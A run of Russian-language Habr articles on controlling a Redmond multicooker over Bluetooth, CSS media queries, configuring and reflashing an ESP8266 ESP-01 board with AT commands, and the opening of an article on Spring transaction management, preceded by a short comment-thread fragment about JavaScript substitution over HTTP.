Пока попробуем другие урлы. Подменяет любые js скрипты по http(логично), которые реально существуют, то есть ответ 200.
До сих пор очень интересно на каком моменте хакнули. Либо устройство от провайдера, которое стоит у меня. И это не так интересно. Либо где-то дальше. И нет идей как выяснить.
А в чем была проблема на проекте?
В проекте надо явно указывать https при подгрузке сторонних ресурсов, а не использовать относительный URL без схемы | https://habr.com/ru/post/489528/ | null | ru | null |
# Управление мультиваркой Redmond. Горячее ферментирование
Будучи поклонником здорового питания, увлёкся методом приготовления пищи с помощью горячего ферментирования. Смысл приготовления - щадящее нагревание в диапазоне 40-80 градусов в течение нескольких часов. Похоже на процесс "томления" из народных традиций. Для разных продуктов существуют свои температурные диапазоны работы естественных ферментов – природных катализаторов, которые преобразуют плохоперевариваемые вещества в пище в легкоусвояемые. Блюдо, которое готовится, последовательно проходит по различным температурным диапазонам. Для желающих подробно ознакомиться – сайт [Сергея Гладкова](http://www.prirodolubie.ru). Оригинально по вкусу, полезно и целое поле для экспериментов.
При готовке, необходимо поддерживать температуру с точностью до градуса. Отсюда проблема: не все обычные мультиварки поддерживают температуру с заданной точностью, да и не имеют в меню требуемых режимов.
Приобрел недавно мультиварку Redmond RMC-M226S, которая управляется приложением Ready for Sky (R4S). Вот только время жалко на то, чтобы постоянно следить прошел ли выставленный температурный этап, доставать смартфон и вбивать новый. Приложение для смартфона не совсем удобное, особенно трудно точно выставить температуру крутящимся колёсиком. А ещё оно перестало работать без включенного GPS.
Поиски привели к статье [Управляем чайником SkyKettle из GNU/Linux](https://habr.com/ru/post/371965/), решил сделать приложение, которое само управляет мультиваркой по заданной программе.
Протокол для управления мультиваркой похож на управление чайником, в начале фразы передается 0x55, конце 0xAA, второй байт – секвенсер увеличивающийся на 1 0-0xFF. При открытии нового соединения секвенсор можно сбрасывать и начинать с первой цифры.
В начале управляющее устройство инициализирует соединение, высылает пароль:
`55 FF <8 байт пароля> AA`
Получает в ответ сообщение об успешной регистрации:
`55 FF 01 AA`
Далее команда 01, типа пинга, которая продлевает сессию:
`55 01 AA`
Для того, чтобы приложение знало текущее стостояние, есть команда 06, для чтения статуса, в ответ передается 20 байт состояния:
`55 06 AA`
```
55
06 (статус)
Текущий режим 00-09 02 - мультиповар
Температура сотни
Температура - десятки и единицы
часы до окончания
минуты
??
??
01 - автоподогрев (0 - выключен)
состояние нагрева 0- выкл, 01-ввод данных, 05 - включено
??
??
0
0
0
0
0
AA
```
Для включения в режим используем команду 05:
```
55
05 - установка режима
программа готовки 00-04 02-мультиповар
температура - сотни
температура десятки и единицы
часы
минуты
00
00
01
AA
```
И наконец, команда 03 "Зажигание" - запуск нагревателя.
`55 03 AA`
При необходимости можно выключить прибор командой 04. Есть еще способ включить автоподогрев.
Это мой первый опыт создания приложений для Android. Большое спасибо [Александру Климову](http://developer.alexanderklimov.ru) за обучающий сайт.
В приложении, которое назвал Vicigilo (на эсперанто означает устройство ставящее в очередь), можно установить до 9 интервалов нагрева со своим временем. Любой набор (рецепт) можно сохранить в памяти. В конце приготовления или при неудаче связи, подается уведомление. Не успел доделать сканирование устройтв для поиска MAC-адреса мультиварки, его нужно вставлять вручную в настройках. Иногда на некоторых смартфонах не всегда надёжно отрабатывает передача (мультиварка не всегда отвечает), думаю надо ввести несколько попыток на соединение.
Скомпилированный файл приложения можно [скачать здесь](http://fxy.7ci.ru/progs/vicigilo.apk)
Сылка на исходники [github](https://github.com/FXYFXZ/vicigilo)
Конечно получил не совсем то, что хотел, всё таки необходимость держать смартфон в радиусе действия bluetooth остается, но уже не надо следить за времением, особенно это приятно когда начинается процесс рано утром. На будущее есть планы сделать термостат свой, или по крайней мере, создать железку, управляющую мультиваркой по автономной программе. | https://habr.com/ru/post/599685/ | null | ru | null |
# Медиа-запросы в адаптивном дизайне 2018
В июле 2010 года я написала статью [«Как использовать CSS3 медиа-запросы для создания мобильной версии вашего сайта»](https://www.smashingmagazine.com/2010/07/how-to-use-css3-media-queries-to-create-a-mobile-version-of-your-website/) для журнала Smashing. Спустя почти восемь лет эта статья по-прежнему очень популярна. Я решила вернуться к этой теме, поскольку теперь у нас есть такие методы компоновки, как Flexbox и CSS Grid. В этой статье мы рассмотрим современные методы использования медиа-запросов в адаптивном дизайне, а также рассмотрим, что может произойти в будущем.
Нужны ли вообще медиа-запросы?
------------------------------
Первое, что нужно сделать перед тем как написать медиа-запрос в 2018 году — спросить себя, нужно ли вообще его использовать. При построении сеток с использованием float мы создаем гибкую сетку, вычисляя размер наших колонок используя проценты. Эти проценты вычисляются методом Этана Маркотт (Ethan Marcotte), описанным в статье [Fluid Grids](http://alistapart.com/article/fluidgrids). Этот метод лег в основу техники, которую мы теперь знаем как «отзывчивый дизайн». Чтобы изменить размер или пропорции колонок, мы должны добавить контрольную точку используя медиа-запрос и переопределить их. В работе с процентами других возможностей нет — колонки всегда будут равны проценту от контейнера, в котором они находятся, будь то широкий или узкий контейнер.
Flexbox, CSS Grid и многоколоночная верстка (Multi-column layout) адаптивны по умолчанию, так как их спецификации были написаны в мире, где адаптивный дизайн и кросс-девайсность уже стали реальностью. Это значит, что они уже включают в себя множество функций, которые позволяют легко создавать адаптивные сетки.
В этом CodePen приведены примеры того, как Multi-column, Flexbox и Grid меняют размеры и положение в соответствии с доступным пространством. Здесь нет медиа-запросов и совсем немного CSS.
Используя гибкость этих методов компоновки, мы можем создавать гибкие блоки, которые будут по-разному располагаться в зависимости от доступного пространства экрана без использования медиа-запросов. Например, объект мультимедиа, который вы хотите отобразить колонкой, когда пространство ограниченно, и как строка, когда пространства достаточно. Этого можно достичь с помощью всего нескольких строк CSS.
Допустим **flex-basis** для наших элементов составляет 250px. Если нет места для двух 250px колонок, они будут выстраиваться в колонку, а если задать положительный **flex-grow** они еще будут заполнять все доступное пространство.
```
.media {
display: flex;
flex-wrap: wrap;
}
.media > * {
flex: 1 1 250px;
}
```
*Когда есть достаточно места для отображения двух колонок*
*Контент в одну колонку*
Одна из особенностей использования Flexbox в том, что доступное пространство для блока ограничено или размером экрана или контейнером с меньшим доступным пространством. Медиа-запросы не могут решить эту задачу, поскольку они смотрят только на доступные размеры всего экрана. Таким образом, новые способы компоновки контента позволяют нам реализовать то, что не могут медиа-запросы.
В примере ниже показано, как контент может быть ограничен вьюпортом (измените размер окна, чтобы увидеть гибкость) и контейнером.
Только в том случае, если такого поведения сеток вам недостаточно, стоит задуматься о применении медиа-запросов. В связке медиа-запросов и CSS Grid вы можете полностью переопределить сетку. Медиа-запросы и CSS Grid отлично дополняют друг друга. Всего одной строкой CSS мы можем переопределить, как и где элементы будут расположены в сетке без изменения разметки. Начнем с одноколоночной сетки для узкой ширины.
```
grid {
display: grid;
grid-gap: 1em;
grid-template-columns: 1fr;
}
```
Для более широкой сетки я использую медиа запрос для переопределения количества колонок и задаю свойство, чтобы некоторые блоки охватили несколько соседних ячеек.
```
@media (min-width: 40em) {
.grid {
grid-template-columns: 2fr 1fr;
}
header,
footer {
grid-column: 1 / 3;
}
}
```
Сочетание уместно примененных медиа-запросов и новых методов компоновки предоставляет нам множество возможностей для достижения наилучшего UX на любом устройстве. В этом CodePen я объединила сетку выше с чуть ранее созданным медиа-объектом. Как вы видите, для контента вполне достаточно места на десктопе, но когда доступная область для содержимого становится слишком узкой, сетка преобразуется медиа-запросом, а блоки встают в одну колонку без медиа-запроса.
Медиа-запросы — лучшие практики
-------------------------------
Думаю мы все согласимся, что медиа-запросы нам все еще нужны, но способы их применения однозначно меняются. Ниже приведены несколько советов, как использовать медиа-запросы в 2018 году по максимуму.
### НЕ ОРИЕНТИРУЙТЕСЬ НА УСТРОЙСТВА, ДОБАВЬТЕ КОНТРОЛЬНЫЕ ТОЧКИ КОГДА СЧИТАЕТЕ, ЧТО СЕТКУ НАДО ПЕРЕСТРОИТЬ
Когда мы впервые начали использовать медиа-запросы, существовало очень мало устройств, о которых стоило бы беспокоиться. Большинство людей волновал iPhone. Однако, в течение нескольких месяцев, рынок устройств и разнообразие их размеров быстро расширился. Нет смысла ориентироваться на отдельные устройства. Вместо этого просто добавьте контрольные точки, где ваша сетка должна перестраиваться. Если растянуть окно браузера с мобильным дизайном, строки текста становятся слишком длинными. Заметили, что стало некомфортно читать? Именно в этот момент, на этой ширине можно добавить медиа-запрос и написать несколько дополнительных CSS свойств.
Таким образом, девайсы, размер экрана которых меньше этой контрольной, точки получат сетку для мобильных устройств, а те, что больше — сетку, которая использует все доступное горизонтальное пространство окна. Не имеет значения, является ли устройство iPhone, смартфоном Samsung или даже веб-дизайнером играющим со своим окном браузера.
### СУЩЕСТВУЮТ НЕ ТОЛЬКО ПИКСЕЛИ
Создавая контрольные точки подумайте о переходе с пикселей. Слишком длинная строка текста является основным признаком, что пора задать контрольную точку. Лучше использовать **em** вместо пикселей, это обезопасит от случаев, когда у пользователя размер шрифта больше ожидаемого.
### БУДЬТЕ ОСОБЕННО ОСТОРОЖНЫ МЕНЯЯ ПОРЯДОК FLEX И CSS GRID ЭЛЕМЕНТОВ
Дразнящая возможность CSS Grid и, в меньшей степени Flexbox — возможность изменить порядок элементов на разных контрольных точках. Этот функционал может обеспечить отличный UX для пользователей, пользующихся клавиатурой и мышью. Но для пользователей, которые используют свой палец для управления, это может создать значительные неудобства. В частности, это пользователи с плохим зрением. Хоть они и используют скринридер, но все равно могут видеть многое из того, что находится на экране. Также это касается пользователей, которые перемещаются на экране с помощью клавиатуры или какого-либо устройства отличного от мыши или пальца.
Эти пользователи переходят из заголовка к заголовку, от ссылки к ссылке, и их устройства будут следовать порядку, в котором элементы указаны в источнике документа, а не в порядке, который они отображают на экране. Если вы изменяете порядок контента на разных контрольных точках, обязательно перепроверьте, на сколько удобно перемещаться по вашему сайту при помощи клавиатуры.
**Примечание**. Для получения дополнительной информации прочитайте статью [«Flexbox & the keyboard navigation disconnect»](https://tink.uk/flexbox-the-keyboard-navigation-disconnect/).
### НЕ ЗАБУДЬТЕ ПРО ВЕРТИКАЛЬНЫЕ МЕДИА-ЗАПРОСЫ
Большинство разработчиков ассоциируют медиа-запросы с шириной устройств. Главное — обеспечить достаточно горизонтального пространства для отображения нескольких столбцов контента. Но медиа-запросы можно использовать и для проверки доступной высоты.
Вертикальные медиа-запросы могут быть полезными, например, когда нужно убедиться, что экран имеет достаточно высоты для отображения и просмотра контента в несколько колонок рядом без необходимости прокрутки вверх и вниз. В приведенном ниже CSS, многоколоночная сетка будет перестраиваться только в том случае, если достаточно места для двух колонок по 15em. Я добавила медиа-запрос с **min-height**, чтобы проверять, когда достаточно высоты чтобы чем начинать выстраивать колонки. Если это небольшой экран в альбомном режиме, то покажется только один столбец, чтобы пользователь мог прокручивать вниз и читать.
```
@media (min-height: 500px) {
section {
column-width: 15em;
}
}
```
Медиа-запросы Level 4: Что ожидать?
-----------------------------------
Медиа-запросы, которые мы используем для создания адаптивного дизайна пришли к нам из спецификации [CSS Level 3](https://www.w3.org/TR/css3-mediaqueries/). Новая спецификация [медиа-запросов Level 4](https://drafts.csswg.org/mediaqueries-4/) разрабатывается рабочей группой CSS. Эта спецификация добавит новый функционал, и произойдут некоторые изменения в синтаксисе. Не все еще реализовано и не все работает даже в современных браузерах, но уже стоит обратить внимание на новую спецификацию и изучить, что же может произойти в ближайшее время. Это поможет нам быть готовыми создавать пользовательские интерфейсы, которые хорошо работают с широким спектром устройств и разнообразием форматов вывода.
Определяем устройство ввода, а не размер экрана
-----------------------------------------------
Размер экрана — довольно грубый способ определить, каким устройством пользуется пользователь и как взаимодействует с ним. Современные экранные устройства — невероятно мощные мини-компьютеры. Пользователь может работать на своем телефоне с помощью внешней клавиатуры и мыши даже с небольшим размером экрана; вполне способен нажимать на маленькие элементы интерфейса. Но это может быть и большой планшет с громадным экраном — мобильная версия ему не подойдет. Однако, владельцы таких планшетов используют свой палец в качестве указывающего устройства, поэтому у них нет возможности сделать нормальное наведение, да и их пальцы не так точны, как указатель мыши.
Раньше мы могли выяснить только размер экрана пользователя, сейчас ситуация несколько иная. Теперь мы можем определить может ли пользователь наводить на элементы, а так же тип его указателя, будь то палец или мышь. Свойства **pointer** и **hover** помогут улучшить UX для разных типов пользователей и собирать более точные статистики. Приведенные ниже примеры будут работать в текущих версиях Chrome, Safari и Edge. Вы можете проверить, [Can I Use](https://caniuse.com/#feat=css-media-interaction) для полного списка поддержки браузерами.
Нижеприведенный CodePen вы можете протестировать с любого мобильного браузера. Свойство content выведет результат проверки типа указателя, которым вы пользуетесь.
```
@media (pointer:coarse) {
.which-pointer::after {
content: "You have a coarse pointer, are you on a touchscreen device?";
}
}
@media (pointer:fine) {
.which-pointer::after {
content: "You have a fine pointer, are you using a mouse or trackpad?";
}
}
```
Чтобы узнать, можете ли вы навести курсор, проверим доступность функции наведения:
```
@media (hover) {
.can-i-hover::after {
content: "You look like you can hover.";
}
}
@media (hover:none) {
.can-i-hover::after {
content: "I don't think you can hover.";
}
}
```
Тестирование поддержки курсора и состояния наведения на iPhone
Протестируйте сами в CodePen.
Существуют также свойства **any-pointer** и **any-hover**, которые проверяет все доступные возможности любого планшета и смартфона к указателям и наведениям. Следует проявлять большую осторожность при использовании этих свойств, поскольку переход пользователя с основного устройства указания может привести к плохому UX. Спецификация гласит:
> «Проектирование страницы, основываясь на any-hover и any-pointer, вероятно, приведет к плохому UX, потому что свойства указывают только последний из доступных механизмов ввода. Тем не менее, авторы могут использовать эти свойства, чтобы определить функциональность, которую они хотят предоставить, на основе любых дополнительных указывающих устройств, доступных пользователю».
>
>
Firefox — браузер отстающий от реализации данного функционала. Вот [ссылка](https://bugzilla.mozilla.org/show_bug.cgi?id=1035774) на этот баг. Надеюсь, вскоре мы увидим полную поддержку.
Переполнение контента и Display Quality Media Features
------------------------------------------------------
Пока еще не реализованное свойство **overflow-block**, часть [Display Quality Media Features](https://drafts.csswg.org/mediaqueries-4/#mf-display-quality), позволит проверить то, как поведет себя блок при переполнении контентом.
Медиа-запросы должны быть разными когда происходит переполнение контента. Стандартный способ решения данной проблемы для планшетов и десктопа — добавление прокрутки. Но некоторые устройства, например, электронный рекламный щит не могут переполняться. Так же у нас есть, Paged Media, если вы выводите контент для печати,.
Есть еще одно полезное свойство, которое поможет определить на каком устройстве отображается контент — **overflow: block**. Например, вы хотите проверить Paged Media ли контент.
```
@media (overflow-block: paged) {
}
```
Синтаксические изменения
------------------------
Медиа-запросы — такие, какими мы их знаем, достаточно объемные в написании. Изменения синтаксиса медиа-запросов Level 4 поможет с этим. Часто мы используем диапазоны, например между 40em и 59em.
```
@media (min-width: 40em) and (max-width: 59em) {
}
```
Мы могли бы записать как диапазон в таком виде:
```
@media (40em <= width <= 59em ) {
}
```
Во втором примере кода мы ставим условие, что ширина должна быть больше или равна 40em, а также меньше или равна 59em. Это намного проще и короче, нежели префиксы с минимальной и максимальной шириной первого примера. По прежнему можно будет использовать старый синтаксис. Тем не менее, такая менее объемная альтернатива кажется очень полезной.
Медиа-запросы по-прежнему являются полезным инструментом в нашем арсенале для создания адаптивных сеток. Я видела, как люди лезли вон из кожи с CSS Grid, дабы избежать использования пары медиа-запросов, но нет причин избегать их. Как я надеюсь, я продемонстрировала, что есть новые и полезные функции, которые помогут нам улучшить наши пользовательские интерфейсы для большего количества пользователей. Вот несколько дополнительных ссылок, статей и презентаций, чтобы изучить данный материал подробнее. Некоторые из них я использовала при подготовке этой статьи, другие полезны для дополнительного чтения.
* [«7 Habits of Highly Effective Media Queries»](http://bradfrost.com/blog/post/7-habits-of-highly-effective-media-queries/), Brad Frost
* [«Vertical Media Queries and Wide Sites»](https://trentwalton.com/2012/01/11/vertical-media-queries-wide-sites/), Trent Walton
* [«Media Queries 4»](https://www.dotconferences.com/2017/11/florian-rivoal-media-queries-4), Florian Rivoal, dotCSS 2017 (video)
* [«Interaction Media Features and their Potential (for incorrect assumptions)»](https://dev.opera.com/articles/media-features/), Patrick H. Lauke, Dev.Opera | https://habr.com/ru/post/349484/ | null | ru | null |
# Работа с ESP8266: Первоначальная настройка, обновление прошивки, связь по Wi-Fi, отправка-получение данных на ПК
На Хабре уже было пару статей о чипе ESP8266 китайской компании Espressif. [Статья №1](http://habrahabr.ru/company/coolrf/blog/235881/) и [Статья №2](http://habrahabr.ru/company/coolrf/blog/238443/). Не так давно я получил плату ESP-01 для проведения тестирования. Кому интересно, прошу под кат.
Мной была заказана самая простая плата с ESP8266 — ESP-01, выглядит она так:
В старой ревизии платы на разьем были выведены только VCC, GND, URXD и UTXD.
В последней ревизии добавились RST, GPIO0, GPIO2 и CH\_PD.
Всего есть 11 модификаций плат, различающихся количеством выводов и вариантом исполнения:
ESP-01: PCB antenna, after matching the distance to do about the open 400 meters, easy to use.
ESP-02: SMD package for submission limit, the antenna can be drawn with the IPX header casing.
ESP-03: SMD package, the built-in ceramic antenna technology, all available IO leads.
ESP-04: SMD package, customers can customize the antenna types, flexible design, all the IO leads.
ESP-05: SMD package, only leads to serial and RST pin, small external antenna.
ESP-06: bottom mount technology, leads all the IO ports, with metal shielding shell, can be had FCC CEcertification, recommended.
ESP-07: Semi-hole chip technology, all the IO leads, with metal shielding shell, can be had FCC CE certifiedIPX external antenna, can also be built-in ceramic antenna.
ESP-08: with the ESP-07, except that the antenna is in the form of customers can define their own.
ESP-09: Ultra-small size package, only 10 \* 10 mm, four-layer board technology 1M bytes!..
ESP-10: SMD interface, narrow-body design, 10 mm wide, suitable for light with controller.
ESP-11: SMD interface, ceramic antenna, small volume.
Распиновка разъёма ESP-01:
Назначение выводов платы ESP-01 такое:
VCC, GND — питание платы (+3.3В);
URXD,UTXD — выводы RS232 толерантны к 3.3В
RST — Аппаратный сброс (reset)
GPIO0, GPIO2 — выводы GPIO
CH\_PD — Chip enable, для работы должен быть подключен к +3.3В.
Для переключения в режим обновления прошивки нужно подать низкий уровень на GPIO0 и высокий на CH\_PD.
Для подключения платы ESP-01 к ПК я использовал USB-to-RS232 преобразователь на FT232R с выходами TTL 3.3В, можно использовать например [такой](http://www.ebay.com/itm/Mini-FT232RL-FTDI-USB-to-TTL-Serial-Converter-Adapter-Module-for-Arduino-3-3-5V-/181576066966?pt=LH_DefaultDomain_2&hash=item2a46c6e796).
Питание ESP-01 нужно строго 3.3В, поэтому пришлось воспользоваться DC-DC преобразователем, можно использовать [такой](http://www.ebay.com/itm/1-DC-DC-Buck-Converter-Step-Down-Module-LM2596-Power-Supply-Output-1-23V-30V-/181409861491?pt=LH_DefaultDomain_2&hash=item2a3cdecf73).
С базовой прошивкой плата ESP-01 управляется AT командами, поэтому нам потребуется программа-терминал, я использовал [CoolTerm](http://freeware.the-meiers.org).
Возможно 2 варианта использования модуля:
1. Использование платы ESP-01 совместно с доп.микроконтроллером, который будет управлять модулем по UART.
2. Написание собственной прошивки для чипа ESP8266 и его использование как самодостаточного устройства.
Естественно более выгодным является 2-й вариант, тем более потенциал чипа ESP8266 достаточно велик.
Для начала мы попробуем вариант №1, то есть управлять платой ESP-01 через RS232.
Схема подключения очень простая:
Вывод VCC — питание платы (+3.3В);
Вывод GND — общий;
Выводы URXD,UTXD — подключаем к конвертеру USB-to-RS232 (в режиме 3.3В)
Вывод CH\_PD — подключаем к питанию платы (+3.3В);
В терминале (CoolTerm) устанавливаем скорость COM-порта 57600. Установить нужно именно такую скорость, т.к. если в чипе ESP8266 стоит старая прошивка (а скорее всего это так и есть), то он будет работать только с такой скоростью порта.
Жмем Connect, вводим команду AT, в ответ должно прийти OK. Если все так, то плата работает, можно двигаться дальше.
**Процедура обновления прошивки**
Вводим команду AT+GMR — проверка версии AT и SDK, в ответ выдает 0016000902, где 0016 — версия SDK, 0901 — версия AT
На текущий момент (06.11.2014) уже доступна прошивка 0018000902 (Версия SDK — 0018, в версия AT — 0902)
Теперь можно и нужно обновить прошивку:
1. Качаем утилиту XTCOM [отсюда](http://rghost.ru/58916556).
2. Качаем прошивку ESP\_8266\_v0.9.2.2 AT Firmware.bin [отсюда](http://rghost.ru/58916609)
3. Отключаем питание платы, вывод GPIO0 соединяем с общим проводом, включаем питание.
4. Запускаем XTCOM\_UTIL.exe, переходим в Tools -> Config Device, выбираем COM-порт к которому подключена плата, ставим скорость порта 57600, жмем Open, потом Connect, программа должна сказать «Connect with target OK!», закрываем окно настроек. Переходим в меню API TEST, выбираем (4) Flash Image Download, указываем путь к файлу «ESP\_8266\_v0.9.2.2 AT Firmware.bin», адрес оставляем 0x00000, жмем DownLoad. Должна начаться загрузка прошивки, по окончании будет выдано сообщение.
5. Отключаем питание платы, вывод GPIO0 отсоединяем от общего провода, включаем питание, запускаем терминал (ВНИМАНИЕ! Меняем скорость порта на 9600), проверяем готовность платы командой AT и версию прошивки командой AT+GMR.
После обновления до версии 0018000902 изменится дефолтная скорость COM-порта с 57600 на 9600, но эту скорость в новой прошивке теперь можно задать командой AT+CIOBAUD. Смотрим AT+CIOBAUD=? доступные скорости и ставим командой AT+CIOBAUD=115200 скорость 115200, в ответ должно выдать ОК. Даем команду на рестарт: AT+RST. Меняем скорость порта в программе-терминал на 115200.
Пример:
```
AT
OK
AT+CIOBAUD=? +CIOBAUD:(9600-921600)
OK
AT+CIOBAUD=115200 BAUD->115200
OK
```
**Настройка подключения к Wi-Fi**
Теперь попробуем подключить нашу плату ESP-01 к Wi-Fi точке доступа.
Выполняем следующие команды:
1. Устанавливаем режим работы Wi-Fi командой:
```
AT+CWMODE=
```
Доступны следующие режимы: 1 — STA, 2 — AP, 3 — BOTH
Пример:
```
AT+CWMODE=1
OK
```
2. Смотрим список точек доступа командой: AT+CWLAP
Пример
```
AT+CWLAP +CWLAP:(3,"WiFi-DOM.ru-0474",-85,"c8:d3:a3:30:17:40",8)
+CWLAP:(4,"Intersvyaz_516C",-89,"2c:ab:25:ff:51:6c",10)
+CWLAP:(4,"pletneva",-96,"f8:1a:67:67:2b:96",11)
+CWLAP:(4,"Test",-69,"64:70:02:4e:01:4e",13)
OK
```
В скобках указывается: SECURITY, SSID, RSSI, BSSID, CHANNEL
SECURITY может принимать значения:
0 — OPEN, 1 — WEP, 2 — WPA-PSK, 3 — WPA2-PSK, 4 — MIXED (WPA-WPA2-PSK)
3. Подключаемся в нашей AP командой:
```
AT+CWJAP="SSID","PASSWORD"
```
Пример:
```
AT+CWJAP="Test","habrahabr"
OK
```
Подключение длится 2-5 секунд, после чего в случае успешного выполнения появится OK.
3. Посмотрим какой IP адрес получила наша плата командой: AT+CIFSR
```
AT+CIFSR 192.168.1.104
OK
```
Отключение от точки доступа делается командой AT+CWQAP.
Адрес получен, можно двигаться дальше.
Плата ESP-01 может выступать в качестве Soft-AP, для включения этого режима выполняем следующие команды:
1. Отключаемся от точки доступа: AT+CWQAP.
2. Меняем режим работы Wi-Fi командой: AT+CWMODE=2
3. Создаем свою AP командой:
```
AT+CWSAP="SSID","PASSWORD",CHANNEL,SECURITY
```
Пример:
```
AT+CWSAP="Test2","habrahabr",10,4
OK
```
4. Пробуем подключиться в нашей AP с компьютера. Посмотрим результат:
Как видно на картинке скорость только 54Мбит/с и еще меня смущают адреса DNS серверов, думаю они явно китайские, поставить свои через AT-команды нельзя.
Адрес AP можно узнать командой: AT+CIFSR
Пример:
```
AT+CIFSR 192.168.4.1
OK
```
Список клиентов нашей AP можно посмотреть командой: AT+CWLIF
Пример:
```
AT+CWLIF 192.168.4.101,f4:ec:38:8d:05:62
OK
```
**Настройка режима TCP-сервер**
На плате ESP-01 можно запустить TCP-сервер для приема-отправки данных или она может выступать TCP-клиентом для приема-отправки данных на сервер.
Для запуска TCP-сервера выполним следующие команды:
1. Устанавливаем режим передачи командой
```
AT+CIPMODE=
```
mode = 0 — not data mode (сервер может отправлять данные клиенту и может принимать данные от клиента)
mode = 1 — data mode (сервер не может отправлять данные клиенту, но может принимать данные от клиента)
Пример:
```
AT+CIPMODE=0
OK
```
2. Устанавливаем возможность множественных соединений:
```
AT+CIPMUX=
```
mode 0 — single connection
mode 1 — multiple connection
Проверить режим соединений можно командой AT+CIPMUX?
Пример:
```
AT+CIPMUX=1
OK
AT+CIPMUX? +CIPMUX:1
OK
```
3. Запускаем сервер на порту 8888:
```
AT+CIPSERVER= [,]
```
mode 0 — to close server
mode 1 — to open server
Пример:
```
AT+CIPSERVER=1,8888
OK
```
Теперь можно подключиться к ESP-01 и отправить-принять какие-нибудь данные. Для подключения будем использовать утилиту [SocketTest](http://sockettest.sourceforge.net/)
Запускаем java -jar SocketTest.jar, на вкладке Client вводим адрес и порт ESP-01, жмем Connect. Если подключение будет успешным, то в терминале появится сообщение Link и в SocketTest станет активной строка Message и кнопка Send.
Посмотреть список активных подключений к ESP-01 можно командой AT+CIPSTATUS
Пример:
```
AT+CIPSTATUS STATUS:3
+CIPSTATUS:0,"TCP","192.168.1.100",44667,1
OK
```
Закрыть активное соединение можно командой
```
AT+CIPCLOSE=
```
или все соединения AT+CIPCLOSE без параметров.
Пример:
```
AT+CIPCLOSE=0
OK
Unlink
```
4. Отправляем данные с ESP-01 на ПК
Для режима Single connection (+CIPMUX=0) отправка идет так:
```
AT+CIPSEND=
```
Для режима Multiple connection (+CIPMUX=1) отправка идет так:
```
AT+CIPSEND=,
```
После выполнения AT+CIPSEND нужно ввести текст, завершение ввода и отправка осуществляется по Enter.
Пример:
```
AT+CIPSEND=0,16 > Ping Habrahabr SEND OK
```
5. Отправляем тестовое сообщение с ПК:
В терминале появляется строка
```
+IPD,0,16:Ping Habrahabr
```
Сообщение принято.
Формат принятых данных такой:
Для режима Single Connection (CIPMUX=0):
```
+IPD,:
```
Для режима Multiple Connection (CIPMUX=1):
```
+IPD,,:
```
**Настройка режима TCP-клиента**
Теперь поменяем роли, ПК — сервер, ESP-01 — клиент, пробуем:
1. Рестартуем плату AT+RST
2. Устанавливаем режим передачи командой
```
AT+CIPMODE=
```
mode = 0 — not data mode (клиент может отправлять данные серверу и может принимать данные от сервера)
mode = 1 — data mode (клиент не может отправлять данные серверу, но может принимать данные от сервера)
Пример:
```
AT+CIPMODE=0
OK
```
3. Режим соединений ставим Multiple connection: AT+CIPMUX=1
4. На ПК в SocketTest запускаем сервер на порту 8888
5. Запускаем клиента на ESP-01
Для режима Single connection (+CIPMUX=0) формат такой
```
AT+CIPSTART=,,
```
Для режима Multiple connection (+CIPMUX=1) формат такой
```
AT+CIPSTART=,,
```
Возможные значения параметров:
id = 0-4
type = TCP/UDP
addr = IP адрес
port= порт
Пример:
```
AT+CIPMUX=1
OK
AT+CIPSTART=0,"TCP","192.168.1.100",8888
OK
Linked
```
6. Отправляем данные с ESP-01 на ПК
Для режима Single connection (+CIPMUX=0) отправка идет так:
```
AT+CIPSEND=
```
Для режима Multiple connection (+CIPMUX=1) отправка идет так:
```
AT+CIPSEND=,
```
После выполнения AT+CIPSEND нужно ввести текст, завершение ввода и отправка осуществляется по Enter.
Пример:
```
AT+CIPSEND=0,16 > Ping Habrahabr SEND OK
```
Пример отправки и получения данных:
**Полезная документация:**
[Описание AT-команд (На китайском)](http://wiki.iteadstudio.com/images/4/47/ESP8266_AT_Commands_Chinese.pdf)
[Спецификация на чип ESP8266 (На китайском)](http://wiki.iteadstudio.com/images/0/0b/ESP8266_Specifications%28Chinese%29.pdf)
[Спецификация на чип ESP8266 (На английском)](http://wiki.iteadstudio.com/images/e/e0/ESP8266_Specifications_English.pdf)
**Заключение:**
Как мы видим, плата успешно справляется с поставленными задачами, а именно — подключение к Wi-Fi в качестве клиента, может выступать в роли Soft-AP, на плате можно поднять TCP-сервер для приема-отправки данных, а можно быть TCP-клиентом.
В данной статье мы рассмотрели работу с платой ESP-01 через RS232, в качестве управляющего контроллера выступал ПК, можно без проблем подключить плату Arduino или любой микроконтроллер с UART и выполнять отправку-прием данных через Wi-Fi сеть между контроллерами или ПК.
В следующей статье (как позволит карма) я попробую рассказать о принципах написания собственных прошивок для чипа ESP8266, тем самым плата ESP-01 будет полностью автономной, ей будет не нужен доп.контроллер для управления всеми параметрами. Мы попробуем подключить к плате различные периферийные устройства.
Буду рад ответить на вопросы, хотя до конца я еще не узучил плату ESP-01. | https://habr.com/ru/post/362623/ | null | ru | null |
# Эффективное управление транзакциями в Spring
Всем добрый день!
Что ж, конец месяца у нас всегда интенсивные, вот и тут остался всего день до старта второго потока курса [«Разработчик на Spring Framework»](https://otus.pw/8LJd/) — замечательного и интересного курса, который ведёт не менее прекрасный и злой [Юрий](https://otus.pw/3AnN/) (как его называют некоторые студент за уровень требований в ДЗ), так что давайте рассмотрим ещё один материал, который мы подготовили для вас.
Поехали.
**Введение**
Большую часть времени разработчики не придают значения управлению транзакциями. В результате либо большую часть кода приходится переписывать позже, либо разработчик реализует управление транзакциями без знаний того, как оно на самом деле должно работать или какие аспекты необходимо использовать конкретно в их случае.
Важный аспект в управлении транзакциями — определение правильных границы транзакции, когда транзакция должна начинаться и когда заканчиваться, когда данные должны быть добавлены в БД и когда они должны быть откачены обратно (в случае возникновения исключения).
Самый важный аспект для разработчиков — это понять как реализовать управление транзакциями в приложении наилучшим образом. Поэтому давайте рассмотрим различные варианты.
**Способы управления транзакциями**
Транзакции могут управляться следующими способами:
***1. Программное управление путем написания пользовательского кода***
Это старый способ управления транзакциями.
```
EntityManagerFactory factory = Persistence.createEntityManagerFactory("PERSISTENCE_UNIT_NAME"); EntityManager entityManager = entityManagerFactory.createEntityManager();
Transaction transaction = entityManager.getTransaction()
try
{
transaction.begin();
someBusinessCode();
transaction.commit();
}
catch(Exception ex)
{
transaction.rollback();
throw ex;
}
```
**Плюсы**:
* Границы транзакции очевидны в коде.
**Минусы**:
* Он повторяющийся и подвержен ошибкам
* Любая ошибка может иметь очень большое влияние.
* Нужно написать множество шаблонов, также, если вы хотите вызвать другой метод из этого метода, вам снова нужно управлять им из кода.
***2. Использование Spring для управления транзакциями***
Spring поддерживает два типа управления транзакциями
